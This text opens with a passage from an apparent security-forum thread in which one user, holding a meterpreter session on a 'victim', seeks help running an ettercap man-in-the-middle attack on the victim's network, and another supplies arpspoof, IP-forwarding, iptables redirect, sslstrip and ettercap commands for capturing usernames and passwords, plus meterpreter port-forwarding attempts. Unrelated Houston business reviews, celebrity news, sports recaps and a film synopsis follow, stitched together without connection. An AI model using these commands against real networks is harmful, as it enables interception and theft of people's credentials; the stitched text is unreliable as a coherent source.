Here is the whole attack setup:
Here we can see that payload and meterpreter are connected:
So now what i'd like to do, is using the meterpreter's tunnel to run ettercap on the remote network.
Like if would have a tunneled local network (as Hamachi does), so i could see the victim and his gateway in ettercap hosts list.
Kinda like this :
Do you think it's possible to go through the meterpreter tunnel to do this, or have i to find another way ?
So I think you should try this maybe,
edit etter.conf and uncomment the redir_command_off & redir_command_on within the linux section
Then enable IP forwarding;Code:kate /etc/etter.conf
Use arpspoof between the Victim and the Default gateway e.g.Code:echo 1 > /proc/sys/net/ipv4/ip_forward
You could then use IP tables to redirect some port 80 traffic if you wanted web traffic, the reason for the uncomment in step 1...e.g.Code:arpspoof -i wlan0/eth0 (your interface) -t (192.168.1.11 - victim IP) (192.168.1.1 - Default GW IP)
You could then use sslstrip and ettercap (sslstrip to strip the ssl connection and ettercap to get UN and PW - if that's what you wanted)Code:iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
After rereading the post, I'm wondering if you need to use this instead of arpspoof command. But I'm still not sure if this will work! (the above would be ok on the same LAN)Code:sslstrip -a -k -f ettercap -T -q -i (your interface)
Code:ettercap -T -M arp:remote
Last edited by Jimmy87; 02-01-2013 at 05:04 PM.
I still can't see the victim's computer in Ettercap.
#Payload and meterpreter are connected
#Here is the part of my etter.conf :
#The ip_forward activation command didn't workCode:#--------------- # Linux #--------------- # if you use ipchains: redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport" redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport" # if you use iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT
So i edited: "/etc/sysctl.conf" and uncommented the following line :Code:root@bt:~# cat /proc/sys/net/ipv4/ip_forward 0
And i entered your command back, which successfully worked this time.Code:# Uncomment the next line to enable packet forwarding for IPv4 #net.ipv4.ip_forward=1
So ipforward owes 1 now.
Your iptable commands were wrong (at least, it's what iptables told :l) i looked on the internet and entered this :
And i've seen your edit, so i tried :Code:iptables -t nat -A PREROUTING --dst 192.168.1.11 -p tcp --dport 80 -j REDIRECT --to-ports 10000
So itried to see my host list with "L" bind :Code:root@bt:~# ettercap -T -M arp:remote ettercap 0.7.4.1 copyright 2001-2011 ALoR & NaGA Listening on eth0... (Ethernet) eth0 -> 08:00:27:0B:1E:04 192.168.1.6 255.255.255.0 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to UID 65534 GID 65534... etter.dns:1 Invalid ip address etter.dns:2 Invalid ip address etter.dns:3 Invalid ip address 28 plugins 40 protocol dissectors 55 ports monitored 7587 mac vendor fingerprint 1766 tcp OS fingerprint 2183 known services FATAL: ARP poisoning needs a non empty hosts list.
It's all blank.
Then i tried to see the profiles list with "O" bind, then "R" to see the remote_hosts :
No cillected Profile !!
So i tried the "S" bind to select a specific host :
I tried to capture anyway, but i got nothing, when i opened a web page with my victim's computer, nothing was showing up on ettercap (i ran it without quiet mode)Code:================================================== 1) 192.168.1.1 2) 192.168.1.2 3) 192.168.1.6 Select an host to display (0 for all, -1 to quit): 0
And btw, sslstrip is an unknown command via the console, i'll find how to start it on BT5 =)
Thanks for your help =) and tell me if i did something wrong
Weird the ip_forward command works for me.
To get sslstrip running try;
I'm not really sure what else to suggest sorry, I can't get my head round how you'd be the man in the middle in this setup!Code:cd /pentest/web/sslstrip python setup.py install
Thanks for your help anyway!
I think i'm gonna learn more about meterpreter, because i've seen this recently :
It seems it supports port forwarding in itself, i'll search how to make it work
Ok good luck with it, post back any findings!
Ok, even with portfowarding i couldn't redirect packets going through victim's ports 80 & 443 through 43443 and 43444 of mine. (Ports open in my router btw). I've read multiple things about this, It seems that ppl only use it to make a Pivot. Anyway, here is the syntax, and the command in entered :
According to this, i entered the following commands :Code:Syntax: portfwd add l 3389 p 3389 r < target host > add will add the port forwarding to the list, and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console. Making it available to any terminal session. -l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as its not already being used. -p 3389 is the destination port on our targeting host. -r <target host> is the our targeted systems IP or hostname.
But still, when i'm capturing with wireshark, i only get datas from meterpreter, nothing about http packets from my victim.Code:meterpreter > portfwd add -l 43443 -p 80 -r 184.108.40.206 [*] Local TCP relay created: 0.0.0.0:43443 <-> 37.160.***.***:80 meterpreter > portfwd add -l 43444 -p 443 -r 22.214.171.124 [*] Local TCP relay created: 0.0.0.0:43444 <-> 37.160.***.***:443
I learn about how to sniff packets from the victim, with an extension called "sniffer", but if i save the pcap files, is there a way to get clear text password with them ? (if https is used)
Yeah I think you're right, I did have a look at Metasploit Unleashed and read a bit about it, I'm guessing you read the same stuff;
I'm not sure if this can help you with your pcap request, take a look if you haven't already seen this;


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The Galleria is filled with stores trying to sell you stuff that you never knew you needed, but at least there's one whose merchandise can help you learn a thing or two. The Discovery Channel store is, not surprisingly, an offshoot of cable's Discovery group of networks (which includes The Learning Channel and Animal Planet), a group that is home to lots of World War II documentaries and goofily addictive shows like Junkyard Wars, where two teams are locked into a scrap yard and compete to build the best cannon, or amphibious vehicle, or whatever, from materials on hand. The store is a perfect place to go if you have to find a birthday gift for some kid you barely know; there's everything from plush stuffed animals to Pond Scum Soap to informative scale models and astronomy kits. Since it's in the Galleria, by definition it's pricey, but a visit to the Discovery Channel store is a much better option than your standard toy outlet.
From beyond the corrugated tin walls, copper light posts topped with bulbous white globes protrude, and wilted chandeliers lie on top of the impossibly piled pile of junk. Sandwiched between La Maison and Value Village in the Heights, this nameless junk shop is easy to miss, especially when it's closed. (Many have either mistaken the tin exterior for a mere sturdy fence or walked past it without a thought.) Partly because almost everything collected here constitutes scrap metal, and partly because it is located outdoors without even a roof, this pile of junk remains dustless and mold-free in spite of its overwhelming mass and disorganization. And by overwhelming, we mean completely crammed and piled high. Want to get a look at that phone booth? Like a jungle explorer, you have to whack and push and stumble your way there. Want to take down that "no shoes" sign in German picturing a black high heel with a red circle and slash across it? Ask to be lifted on someone's shoulders. Finding good junk always requires a hearty search.
Pennants and posters that say "plants" and "sale sale sale" in bold black letters are in The Plant Lady's front yard. Her plants are gorgeous, and cheap. She sells big trees for $10 and enormous peace lilies for $5 (we've seen wimpier, wilted ones for $30 elsewhere). Flowering plants that are starting to go out of season are usually $1; if you insist that you don't want it, sometimes she'll make it a quarter or just throw it in for free. She's a nice lady who doesn't want disappointed customers; she wants repeat business, and she's definitely got ours. She doesn't mind telling you what type of plant it is, just how much light it needs and which room of your house you should put it in. She guarantees all of her plants. When our peace lily died (which, truly, we think is the fault of our nongreen thumb-of-death, and the fact that our pet rabbit ate it), she replaced it for free. When we accidentally left a Chinese evergreen -- which should never see the sun -- sitting in a hot Houston car with the windows rolled up, we went back the next day and she sold us another one for $3. She kept the one we had pretty much killed and promised to nurse it back to health for us. God bless her.
The folks at Outreach Dentistry will banish forever those Marathon Man-like memories of the evil white-coated dentist who looms like a horrifying shadow over the landscape of your oral hygiene. When you push open the glass door of Outreach, you'll get a home-style welcome. The waiting room of this mom-and-pop business (he's the dentist; she runs the office) is cheerful. No sliding-glass partitions or cranked-up televisions are there to make you feel like you've been dropped into some futuristic world of impending pain. Instead, you can ask questions as you fill out your forms in a comfy little reception area, and you'll get smart answers about everything from your insurance to the procedure you're about to undergo. Once you've slid your nervously sweating limbs into the dentist's chair, you'll encounter a good doctor who will listen to all your fears, chide you a bit about flossing, then go about the business of cleaning, drilling and filling with tender hands and the sort of modern-day technology that will make even the most phobic of patients breathe easier. Going to the dentist will never be fun, but the good people at Outreach will make it virtually painless.
Lawrence Marshall must really love cars. Starting as a mechanic in 1949, Marshall worked his way up the auto food chain to the purchase of a small Chevy dealership in 1969, parlaying that one outlet into the semirural, multibrand megaplex that straddles little Hempstead like an automotive behemoth. In 1999 Marshall sold his dealerships to company spokesman and former Oiler Ray "We clobber big-city prices" Childress. But instead of retiring like your average Rotarian titan, Marshall moved his office to a shed across 290 and opened Lawrence Marshall Antique Cars, which has been steadily expanding ever since -- most recently with an enclosed "museum" building housing over 100 vintage cars and trucks, in addition to the hundreds more stored on the outdoor lot. The enterprise specializes in ready-to-drive pre-1970s models, either meticulously restored or miraculously preserved, and so Marshall spends a good amount of time traveling the country to buy his stock. The result is a smorgasbord of four-wheeled history, from 1912 Model Ts to the familiar litany of early '70s Mopars with their hemis and their 440 six-packs, and a good sampling of everything in between. Museum or not, everything's for sale, from a few thousand-dollar project cars on up to the $20,000 show-winners. General manager Ken Smith guesses it's probably the largest antique car showroom in the country by now, but it's also a browser's paradise. Five dollars' admission -- refunded if you make a purchase -- buys you the run of the place. And yes, they do test-drives. Open Monday through Friday, 8 a.m. to 6 p.m., and Saturday, 8 a.m. to 5 p.m.
What smooth talkers they are at All-Star Audio Video. Any group of employees who can talk so many customers into believing that TVs -- inside cars! -- are required accessories deserves this award. And it's not as if Houston drivers weren't bad enough, turning without signaling or lining up seven cars deep behind a left-turning car when the right lane is utterly vacant. The added distraction of TVs in vehicles now makes these inhospitable roads just that more hostile. But don't blame All-Star. The 23-year-old company is, according to Steve "Pepper" Perez, who installs these thingies, just responding to demand. "There've been TVs in cars for a while," he says. "Then when multimedia hit, it's the easiest thing to take a trip and have a video for the kids. They don't wanna get out of the car. "Dad, drive around the block.' " Around the block? Chances are, Dad's "block" is a gated community. Perez says he has done installations on the vehicles of star baseball jocks like Roger Clemens, Craig Biggio and Andy Pettitte. He also says he and his two installers (one, Andy Bartinicki, joined the company a couple of years after owner Jim Lawless opened the first shop) have done jobs ranging in price from $2,500 to $25,000. About 80 percent of his customers, he says, are regulars. Though Perez talks excitedly and knows a helluva lot about vehicular TVs, he doesn't own one himself. "But I gotta get one," he says. "I need to."


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With the launch of a new perfume, world tour and reality show, it is simply amazing that the pop princess better known as Rihanna, has time to breath, let alone finish an album.
But, in true bad girl fashion, Rihanna has pulled it off and done so in stunning fashion.
The Bajan beauty leaked her own album art on Twitter, revealing her radiant skin and features to all her fans.
Her seventh album–"Unapologetic"–is slated to be released on November 9th, this year…less than a year from her last release–Talk That Talk.
Despite the relationship drama she is currently going through with ex-boyfriend Chris Brown, Rihanna's career is thriving. She just snagged four nominations at the 40th annual American Music Awards and won "Best Video" at the 2012 MTV Awards!
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After an up-and-down career in the fine-dining arena, Chef John Sheely has found a home in the more relaxed bistro category. Mockingbird Bistro is a perfect example of what a bistro is supposed to be — a place that's both comfortable enough to get a beer and a burger while dressed in blue jeans, yet sophisticated enough to take a date for a foie gras appetizer and a world-class glass of wine. The gothic interior decor, much it of left over from a former tenant, lends just the right sort of eccentric atmosphere to this Montrose neighborhood hangout. Sheely's crispy French fries in paper cones are among the best frites in the city, and his juicy, rare Kobe burger is a joy. And, of course, wherever Sheely goes, you'll find excellent fried calamari.
Brennan's of Houston calls its cuisine "Texas Creole," and seldom do you find a cooking style and a restaurant atmosphere so perfectly in sync. When people walk into the old mansion on Smith Street, they look at the dark wooden bar and the magnificent brick courtyard outside and remark, "It looks just like New Orleans." The Brennan's building was constructed in 1930 as the headquarters of the Junior League of Houston. John F. Staub's L-shaped building with its garden patio was an adaptation of French Quarter architecture to the Houston site. It's a building style that might also be called "Texas Creole." The atmosphere of Midtown would be greatly improved if there were more buildings like it. After experiencing the gospel brunch at a courtyard table at Brennan's, your view of Houston will never be the same.
They bake seven varieties of baklava fresh every day at Phoenicia. There are Turkish ground-walnut triangles that ooze honey with every bite. And then there are the large Turkish cream and orange blossom syrup-filled baklava that taste a little like phyllo dough éclairs. The Persian baklava is layered with a heavenly filling of aromatic ground cardamom. And the richest of all may be the ones stuffed with ground pistachios and orange blossom syrup. But the bakery is only a tiny part of the whole Phoenicia experience. There's a meat market, a kebab-rotisserie chicken stand and a huge deli case, too. The choices of salamis, olives and dried fruits are unrivaled. And the European preserves, Asian lentils and legumes, and exotic spices are astonishing. But it's the prices that are the biggest shock – about half of what you pay elsewhere.
In the corner of the Kim Hung Market is a gem of a to-go counter filled with Asian-style barbecue ribs, fried rice and pig stomach. Really, you could feed an entire village for about 18 bucks! The deals here include an entire roasted duck for $12 or the barbecue lunch special, which includes fried rice, one veg and one meat for $2.75. The lunch special is a ton of food. If the pork stomach doesn't entice you, you can get a whole roasted pig for about $110.
Originally known as Shepherd Drive Barbecue, this is the restaurant where the legendary John Davis once presided as owner and pit boss. When John Davis died in 1983, the current owner, Jerry Pizzitola, bought the place from the Davis family so he could preserve it. The old-fashioned pit burns hickory, just like it did in John Davis's day. The sausage comes from a Czech sausage maker in the Hill Country; the barbecue sauce is thin and spicy; and the ribs and brisket are among the best in the city. And while the sides are plain, the desserts — which are made by Jerry's mom and include banana pudding and coconut pineapple cake — are excellent. The dining room sports one of the city's wackiest collections of bric-a-brac, much of it related to fishing.
Bacon is sacred. And there's no reason to go messing with the time-honored formula of the classic BLT...unless you're going to do it right. The BLT at Brasil treats bacon with the respect it deserves. The addition of blue cheese, herbed aioli and red onion does good things for this sandwich, as does the choice of fresh focaccia or ciabatta. While you wait, kick back with a beer or a glass of wine and take in the Montrose scene. And if you still have room for dessert, the German chocolate cake or white-chocolate cheesecake are excellent choices. Brasil can get crowded on nights and weekends, so if you'd like a side of peace and quiet with your BLT, afternoons are optimum.


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Los Angeles, CA (Sports Network) - It sure wasn't the "Big Three" the Los Angeles Lakers had hoped for at the start of the season.
The Lakers knew of their postseason fate before they took the floor Wednesday, but that didn't stop Steve Blake from again making the most out of his opportunity.
And Dwight Howard and Pau Gasol's size and power inside were too much for the Houston Rockets to handle.
With Kobe Bryant resting comfortably at his home, his Lakers picked up a 99-95 overtime win over the Rockets to earn the seventh seed in the Western Conference playoffs.
The Utah Jazz's loss to the Memphis Grizzlies earlier Wednesday assured the Lakers of a postseason bid.
Gasol tallied a triple-double with 17 points, 20 rebounds and 11 assists, Blake led the Lakers in scoring for a second straight contest with a season- high 24 points, and Howard added 16 points and 18 boards for Los Angeles (45-37), which has won five straight to close the regular season and will play the San Antonio Spurs in the first round of the playoffs.
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Salisbury, N.C- The Brevard College Tornados went down 3-1 to the Catawba College Indians in their 2012 season finale on Saturday afternoon at Frock Field.
Freshman Katherine Nickels scored her first collegiate goal in the 60th minute to bring the tornados within a goal at 2-1. Nickles launched a shot that just got through the hands of Catawba keeper Bethany Lewis for the score.
Before the Tornados had a chance to deliver the equalizer, the Indians struck at 67:53 to make it 3-1. Mary Kirkman sent a ball into the top of the box for Amy Iwanicki, who got there just before BC keeper Brittany Webster to loft a shot into an open goal.
Webster finishes the 2012 regular season as the South Atlantic Conference's leader in saves with 133.
Kirkman put Catawba up 1-0 with a goal in the fourth minute after Iwanicki sent a cross to Kirkman at the back post, who placed the ball just under the crossbar.
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Detectives Martin Riggs (Mel Gibson) and Roger Murtaugh (Danny Glover) re-teamed for their fourth foray together in this buddy-cop action comedy ... Show synopsis Detectives Martin Riggs (Mel Gibson) and Roger Murtaugh (Danny Glover) re-teamed for their fourth foray together in this buddy-cop action comedy series based on characters created by Shane Black. With the passage of years, Murtaugh's daughter Rianne (Traci Wolfe) is now about to upgrade Murtaugh to grandfather status, while Riggs' relationship with internal affairs officer Lorna Cole (Rene Russo) means he'll become a proud papa. Elsewhere on the family front, Chinese triad members in Los Angeles smuggle families from the mainland, but this is only one item on the criminal agenda of triad leader Wah Sing Ku (Jet Li), who executes balletic martial arts maneuvers with blinding speed (fight sequences were staged by Hong Kong director Corey Yuen). The film opens with fire (when Riggs and Murtaugh encounter a flame-thrower in a bulletproof suit) and travels an entertaining popcorn plot path to a frightening, watery climax (which we won't reveal here). In between, Riggs and Murtaugh tackle the troublesome triads with an assist from wickedly witty, sharp-edged newcomer Lee Butters (Chris Rock) and private detective Leo Getz (Joe Pesci), the character first seen as a mob accountant in the second film of this highly popular series. Bhob Stewart, Rovi
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Location: PC Baseball Complex-Presbyterian College-Clinton, SC
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Votto to second on the wild pitch.
Votto to second on the wild pitch.
This team could really use BP picking it up a bit.
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DatDude batting .192 on this current roadie
I'm not one to do a lot of complaining about the broadcasters. In fact, over the years I probably complained more about George Grande than any of the others (with the exception of the ill-fated one-year experiment with Paul Keels).
But I gotta say, there's something that just feels right about George and Chris together on TV.
Eric Stratton, Rush Chairman. Damn glad to meet ya.
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Did somebody get to him? He's not saying "Cin-granny" anymore.
In listening to Scully you get the sense that he doesn't necessarily appreciate Puig....meaning he's got a lot to learn about the game and respect for it.
Cingrani looked sharp in that inning.
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Bruce grounds out to first.
Big Klu (07-28-2013)
Apparently no one likes to talk to Frazier about taking an outside pitch to right. I guess because his reaching, pull swing is so effective.
This will not do, Redlegs. You must score runs against Capuano.
"Since I've been with the Reds in 1989, we've never had a farm system this loaded," Bowden said. "If we were the New York Yankees and had unlimited dollars, we could have traded for Colon, (Jeff) Weaver, Rolen, (Cliff) Floyd, (Kenny) Rogers and Finley and gotten them all -- and still held onto our top five prospects. That's an amazing statement."
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